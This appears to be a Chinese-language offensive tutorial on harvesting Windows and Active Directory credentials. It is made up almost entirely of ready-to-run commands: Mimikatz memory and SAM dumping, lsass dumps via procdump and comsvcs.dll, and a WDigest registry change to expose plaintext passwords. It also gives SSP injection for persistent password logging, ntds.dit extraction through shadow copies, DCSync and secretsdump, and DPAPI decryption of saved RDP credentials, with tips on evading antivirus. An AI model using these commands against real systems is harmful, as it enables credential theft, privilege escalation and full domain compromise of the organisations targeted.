需要抓取哪些密码呢?
- 本地账户密码(或者hash)
- 域账户密码(或者hash)
- RDP账户密码
- 浏览器账户密码
- 数据库账户密码
- 本地保存的账户密码文件
密码抓取工具
GetPassword
注意:需使用高权限用户操作
打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码
PwDump7
以高权限用户身份打开cmd,直接运行PwDump7.exe 就可得到用户的hash值
QuarksPwDump
同样为NTLM hash值
命令格式(高权限用户执行):
QuarksPwDump.exe --dump-hash-local
Mimikatz
项目地址:https://github.com/gentilkiwi/mimikatz/
注意:使用高权限用户操作
简介
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够 直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具, mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行 哈希传递、票证传递或构建黄金票据。
密码使用方法
两个命令:
privilege::debug
sekurlsa::logonpasswords #抓取内存中的所有密码
其他模块
sekurlsa模块
privilege模块
privilege:: debug #提升为debug权限
sekurlsa:模块 从lsass进程中提取passwords、keys. pin、 tickets等信息
sekur1sa::msv #获取HASH (LM,NTLM)
sekurlsa::wdigest #通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos #假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg #通过tspkg读取明文密码
sekurlsa::livessp #通过livessp读取明文密码sekurlsa::ssp通过ssp读取明文密码
sekurlsa::logonPasswords #通过以上各种方法读取明文密码
sekurlsa::process #将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidump file #这个模块可以读取已经打包的内存信息
sekurlsa::pth #哈希传递
sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xXxx
sekurlsa::pth /user:administrator /domain:host1 /aes256:cdf34cda4e455232323xXXX
process模块
process::list #列出进程列表
process::exports #导出进程列表
process::imports #导入列表
process::start #开始一个进程
process::stop #停止一个进程
process::suspend #冷冻一个进程
process::resume #从冷冻中恢复
process::run 程序名 #运行一个程序
process::runp #以SYSTEM系统权限打开一个新的mimikatz窗口
等等
在线读取SAM文件中的hash值
概述
在线读取即指定是将工具上传到目标的机器然后再直接读取机器上的SAM文件中的内容
弊端:上传的工具可能会被杀软杀掉;工具可能会因为网络问题传输可能不太完整;
本次主要读取的是NTLM-HASH值
方式一 mimikatz
命令如下:
privilege::debug
token::elevate
lsadump::sam
将三条合并为一条为:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
方式二 CS读取
cs上线后进入机器的beacon模块
命令(高权限用户):hasudump
离线读取SAM文件中的hash值
概述
离线读取也就是不需要在受害机器本地读取,可以将SAM文件复制到自己的电脑上,然后再利用工具进行读取
离线读取可以在一定程度上可以躲避杀软
方式一 reg命令
命令为:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
方式二 PS脚本
如果遇到此问题
请打开powershell,输入命令为:set-executionpolicy
关闭powershell
再鼠标右键,以管理员运行
再输入该命令:set-executionpolicy remotesigned
再次导入,执行脚本
读取复制的文件
使用mimikatz工具读取sam文件
命令为:
lsadump::sam /sam:sam.hive /system:system.hive
在线读取lsass进程内存密码
概述
上传工具到目标机器然后再读取机器内的lsass内存中的明文密码
这里主要读取的是明文密码
弊端:上传的工具可能会被杀软杀掉
工具mimikatz读取
mimikatz支持各种方式读取机器上的密码
privilege:debug
sekurlsa.:msv #获取HASH (LM,NTLM)
sekurlsa.:wdigest #通过可逆的方式去内存中读取明文密码
sekurlsa.Kerberos #获取域管理员的明文密码
sekurlsa..tspkg #通过tspkg读取明文密码
sekurlsa::livessp #通过livessp读取明文密码
sekurlsa.ssp #通过ssp读取明文密码
sekurlsa::logonPasswords #通过以上各种方法读取明文密码
一般情况下,都会直接使用sekurlsa::logonPasswords,读取密码
离线读取lsass进程内存密码
概述
离线读取即不再需要本地读取密码,先将机器上的lsass内存导出,然后在自己的电脑中使用mimikatz工具读取导出的文件,即可得到明文的账户密码。
可在一定程度上躲避杀软
方式一 任务管理器导出
在任务管理器中找到lsass.exe进程,右键创建转储文件
方式二 procdump工具
使用procdump 导出lsass.dmp文件,
ProcDump 是一个命令行实用工具,其主要用途 是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序,微软的一般不会被杀软杀掉。
命令:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
方式三 PS脚本
命令:
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump
方式四 comsvcs.dll
comsvcs.dll,系统自带
通过comsvcs.dll的导出函数MiniDump实现dump内存读取
命令:
先查询lsass.exe的进程号: tasklist | findstr lsass.exe
使用powershell导出rundll32:
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 480 C:\Users\Administrator\Desktop\lsass.dmp full
读取文件
使用mimikatz工具进行读取
命令
mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full”
或者
第一个命令:sekurlsa::minidump lsass.dmp
第二个命令:sekurlsa::logonPasswords full
读取任务管理器导出的lsass.DMP文件
其他三种方式导出的文件-读取方式一样(注意导出的文件名)
修改Wdigest注册表获取系统密码
概述
Win7、 Win server 2008等这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、 2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文密码了,我们就无法通过之前学习的方法抓取到明文的密码。
在Windows 2012系统及以上的系统,默认在内存中禁止保存明文密码。
攻击者可以通过修改注册表的方式抓取明文密码,但是需要用户重新登陆后才能成功抓取
注册表中开启或关闭存储明文密码
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f 开启
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 0 /f 关闭
操作
1、首先查询注册表中是否存在该值
命令:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential
2、修改UseLogonCredential的值为1(如果没有查到该值,可直接添加)
使用管理员权限修改
命令
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
3、修改成功之后,内存就可以存储明文密码了,但需要用户重新输入密码
三种方式:
- 锁屏,重新登录( rundll32.exe user32.dll,LockWorkStation)
- 注销用户(query user 查询用户,logoff id 注销用户)
- 重启计算机
4、使用Mimikatz读取计算机中的存储的明文密码
privilege::debug
sekurlsa::logonPasswords
内存注入SSP获取系统密码
概述
在Mimikatz中,有写好的恶意ssp,可以提供本地认证时候对明文账户密码进行记录。我们需要将ssp注入到系统内存中,就可以获取本地的明文账户密码。
由于注入在内存中,所以重启就失效了,故该攻击也称之为SSP注入。
操作
1、第一步将SSP注入到内存中,两种方式:
- 使用mimikatz
- 使用ps脚本
使用mimikatz
privilege::debug
misc::memssp
2、需要用户重新输入密码
通过锁屏或注销等方式
锁屏命令:rundll32.exe user32.dll,LockWorkStation
3、输入密码后,在C:\Windows\System32\mimilsa.log即可查看明文密码
注册表添加SSP获取系统密码
概述
SSP注入只要计算机重启即无法使用,想要使得永久生效,需要将SSP添加到注册表中,只要系统重启就会加载SSP。
操作
1、将mimikatz压缩包中的mimilib.dll,这个文件就是SSP,将该文件复制到C:\Windows\System32目录中
2、修改注册表
命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
3、密码会存储在C:\Windows\System32\kiwissp.log文件中
以下为域控密码抓取方法
NTDS概述
NTDS.DIT为DC的数据库,存放着有域用户、域组、用户hash值等信息。域控上面的NTDS.DIT只有登录到域控的用户(例如:域管用户、DC本地管理员用户)可以访问,为了进一步保护密码hash值,使用存储在SYSTEM注册表配置单元中的密钥对这些hash值进行了加密。
位置:C:\Windows\NTDS
如果要读取该文件的内容有以下几种方式
- 离线读取,将NTDS文件复制到攻击者的计算机,然后再使用工具进行读取
- 在线读取,通过给域控电脑传送可以读取NTDS文件的工具
- 远程读取,不需要上线域控,可以通过Dcsync远程读取
卷影拷贝概述
从Windows XP SP2和Windows server 2003开始,微软就向Windows操作系统中引入了一项名为卷影拷贝服务(volume shadow copy service,VSS),该服务允许Windows系统以自动或者手动的方式对文件或者磁盘卷宗的当前状态进行备份(或者快照)。
需要注意的是在这个过程中,即使文件处于打开状态,该服务仍然可以对文件进行备份。
ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务(volume shadow copy service,VSS)得到ntds.dit文件的副本。
卷影拷贝服务(VSS)本质属于快照技术的一种,主要用于备份和恢复,即使目标文件处于锁定状态。
卷影拷贝-ntdsutil工具拷贝
概述
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控制器上直接操作,2003、2008、2012、2016等,提取NTDS过程分为3步。
操作
1、在目标机创建一个NTDS快照
ntdsutil.exe snapshot "activate instance ntds" create q Local Destination
记住快照ID:d474d03c-5c9c-4c61-9102-98a67a57a894
2、加载快照到磁盘中
ntdsutil.exe snapshot "mount {d474d03c-5c9c-4c61-9102-98a67a57a894}" q q
加载成功之后,在C盘就会出现加载成功图标
)
3、复制快照中的ntds.dit文件
copy '快照地址\Windows\NTDS\ntds.dit' 目标路径
4、拷贝成功后,删除快照
ntdsutil.exe snapshot "umount {d474d03c-5c9c-4c61-9102-98a67a57a894}" "delete {d474d03c-5c9c-4c61-9102-98a67a57a894}" q q
卷影拷贝-vssadmin工具拷贝
概述
vssadmin为Windows server 2008及Windows7系统以上提供的VSS管理工具,可以用于创建或者删除卷影副本、列出卷影副本的信息。
操作
1、创建C盘快照
vssadmin create shadow /for=c:
2、将快照中的NTDS文件进行复
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
3、删除快照
vssadmin delete shadows /for=c: /quiet
卷影拷贝-IFM方式拷贝
概述
可以通过创建一个IFM的方式获取ntds.dit,在使用ntdsutil工具创建媒体安装集(IFM)时,需要进行生成快照、加载,将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作。
操作
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下
卷影拷贝-脚本工具拷贝
vssown.vbs
vssown.vbs可以创建和删除卷影副本
1、启动卷影复制服务
cscript vssown.vbs /start
2、创建C盘卷影副本
cscript vssown.vbs /create c
3、列出当前卷影副本
cscript vssown.vbs /list
4、复制ntds.dit文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
5、删除卷影副本
cscript vssown.vbs /delete {9767eab0-48b2-11ee-80b0-806e6f6e6963}
Copy-VSS.ps1
可以直接导出
PS C:\Users\Administrator> cd .\Desktop
PS C:\Users\Administrator\Desktop> Import-Module .\Copy-VSS.ps1
PS C:\Users\Administrator\Desktop> Copy-VSS
离线读取NTDS文件中的HASH值
离线读取一般需要两步:
- 将远端域控的ntds.dit下载到本地
- 本地利用工具进行读取
注意:system.hive里存放着ntds.dit的密钥,所以转储system.hive,不然没法查看ntds.dit里面内容
命令为reg save hklm\system C:\Users\Administrator\Desktop\system.hive
secretsdump.exe工具
命令:
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
NTDSDumpEx.exe工具
命令
NTDSDumpEx.exe -d ntds.dit -s system -o res.txt
在线读取NTDS文件中的HASH值
在线读取直接读取ntds文件内容,无需拷贝在本地
Mimikatz工具
读取所有用户的hash值
lsadump::dcsync /domain:xbxaq.com /all /csv
读取单个用户
lsadump::dcsync /domain:xbxaq.com /user:administrator
QuarksPWDump工具
Quarks PW Dump.exe --dump-hash-domain --ntds-file ntds.dit
注意:先将ntds.dit文件先导出来
secretsdump工具
secretsdump.exe 域名/administrator:密码@IP
secretsdump.exe xbxaq/administrator:a1b2c3123..@192.168.110.10
Invoke-DCSync.ps1工具
在powershell中导入该脚本
PS C:\Users\Administrator> cd .\Desktop
PS C:\Users\Administrator\Desktop> Import-Module .\Invoke-DCSync.ps1
PS C:\Users\Administrator\Desktop> Invoke-DCSync
Domain User ID Hash
------ ---- -- ----
xbxaq.com krbtgt 502 607283a6b62ecae1081cb82829...
xbxaq.com Administrator 500 1b0e539ee1e837a7a63d2be0a6...
xbxaq.com zhangsan 1104 b6fedcbb1ab4f59dd213d03eb9...
xbxaq.com ls 1106 b6fedcbb1ab4f59dd213d03eb9...
Dcsync原理以及攻击
概述
什么是Dcsync(domain Controller synchronization )
域控同步:在内网中一般不是一个域控, 会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同步请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是 DCsync
哪些用户可以运行DCsync服务呢
- administrators组内用户
- domain admins组内用户
- enterprise admins组内用户
- 域控制器的计算机账户
域控的administrator和system也可以
DCsync利用思路
- 找到有权限的用户,从而远程读取域控用户的信息,可以进行PTH、黄金、白银票据攻击
- 如果控制了域控,可以在域控添加一个管理员账户从而进行权限维持
- 可以添加一个普通的用户,修改ACL从而实现可以使用DCsync,进行权限维持
DCsync攻击
使用mimikatz模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希值。
该功能最大的特点就是不用登录域控制器,即可远程通过域数据同步复制的方式获得域控制器上的数据
远程读取域控HASH值
远程读取是利用dcsync,前提是必须找到拥有运行dcsync的账号
所以读取hash 的步骤是两步 :
- 找到拥有dcsync的用户
- 远程读取即可
方法一 mimikatz
读取所有用户的hash值
lsadump::dcsync /domain:xbxaq.com /all /csv
读取单个用户
lsadump::dcsync /domain:xbxaq.com /user:ls
方式二 secretsdump工具
secretsdump.exe 域名/用户名或者hash:密码@IP
secretsdump.exe xbxaq/administrator:a1b2c3123..@192.168.110.10
利用Dcsync远程读取明文账号
利用DCSync可以获取明文凭据,主要是因为账户勾选了"使用可逆加密存储密码"的属性
lsadump::dcsync /domain:xbxaq.com /user:ls
RDP密码凭证抓取
明文密码抓取原理
Credentials的解密是Windows系统信息收集中非常重要的一环
在平时的工作中,管理员为了方便管理计算机,经常会进行远程桌面连接,由于每次都需要输入密码觉得麻烦,就点击了保留凭据。
这个过程是可逆,所以我们可以将保存的密码进行还原。
还原的原理
Windows通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密使用这个密码,所以这个过程是可逆,我们只要拿到 MasterKey就能将密码解出来。
查看凭证方法
1、查看远程桌面的连接记录
命令:cmdkey /list
2、查找本地的的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*
在线读取RDP明文密码
1、使用mimikatz获取该文件的MasterKey的guid值
dpapi::cred /in:凭据绝对路径
绝对路径:C:\Users\ls\appdata\local\microsoft\credentials\0CD7F2C49F30735B50B8B25B21588322
dpapi::cred /in:C:\Users\ls\appdata\local\microsoft\credentials\0CD7F2C49F30735B50B8B25B21588322
guid值为4fdb635b-6699-43d0-b6d9-553daa1d0dc6
2、使用mimikatz工具在内存中找到对应的masterkey值
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::dpapi
masterkey值为:2fbdd5de3bb48c79c468f096ddc90d21c0f1a8e9d30ff6eb70466a45d5cf746523b2fd6b60327b0ea0e1ea35e188da268ebb57506f9935a784779701651fb58d
3、使用mimikatz工具通过masterkey值解密RDP凭据文件
dpapi::cred /in:凭据文件路径 /masterkey:masterkey值
dpapi::cred /in:C:\Users\ls\appdata\local\microsoft\credentials\0CD7F2C49F30735B50B8B25B21588322 /masterkey:2fbdd5de3bb48c79c468f096ddc90d21c0f1a8e9d30ff6eb70466a45d5cf746523b2fd6b60327b0ea0e1ea35e188da268ebb57506f9935a784779701651fb58d
离线读取RDP明文密码
1、下载目标的lsass内存文件
2、将RDP凭证下载到本地
dir /a %userprofile%\appdata\local\microsoft\credentials\*
当打开对应目录没有文件时,需要修改对应的文件夹属性
在查看功能点,将隐藏受保护的操作系统文件的勾取消即可看到文件
将对应的RDP凭证下载到本地
3、使用mimikatz载入dump回来的内存
Sekurlsa::minidump lsass.dmp
4、获取credentials的GUID值
dpapi::cred /in:凭证名称
dpapi::cred /in:0CD7F2C49F30735B50B8B25B21588322
guidMasterkey值为4fdb635b-6699-43d0-b6d9-553daa1d0dc6
5、获取内存中所有的masterkey
sekurlsa::dpapi
寻找guid对应的Masterkey值
masterkey值为2fbdd5de3bb48c79c468f096ddc90d21c0f1a8e9d30ff6eb70466a45d5cf746523b2fd6b60327b0ea0e1ea35e188da268ebb57506f9935a784779701651fb58d
6、masterkey进行解密
dpapi::cred /in:凭据文件名 /masterkey:masterkey值
dpapi::cred /in:0CD7F2C49F30735B50B8B25B21588322 /masterkey:2fbdd5de3bb48c79c468f096ddc90d21c0f1a8e9d30ff6eb70466a45d5cf746523b2fd6b60327b0ea0e1ea35e188da268ebb57506f9935a784779701651fb58d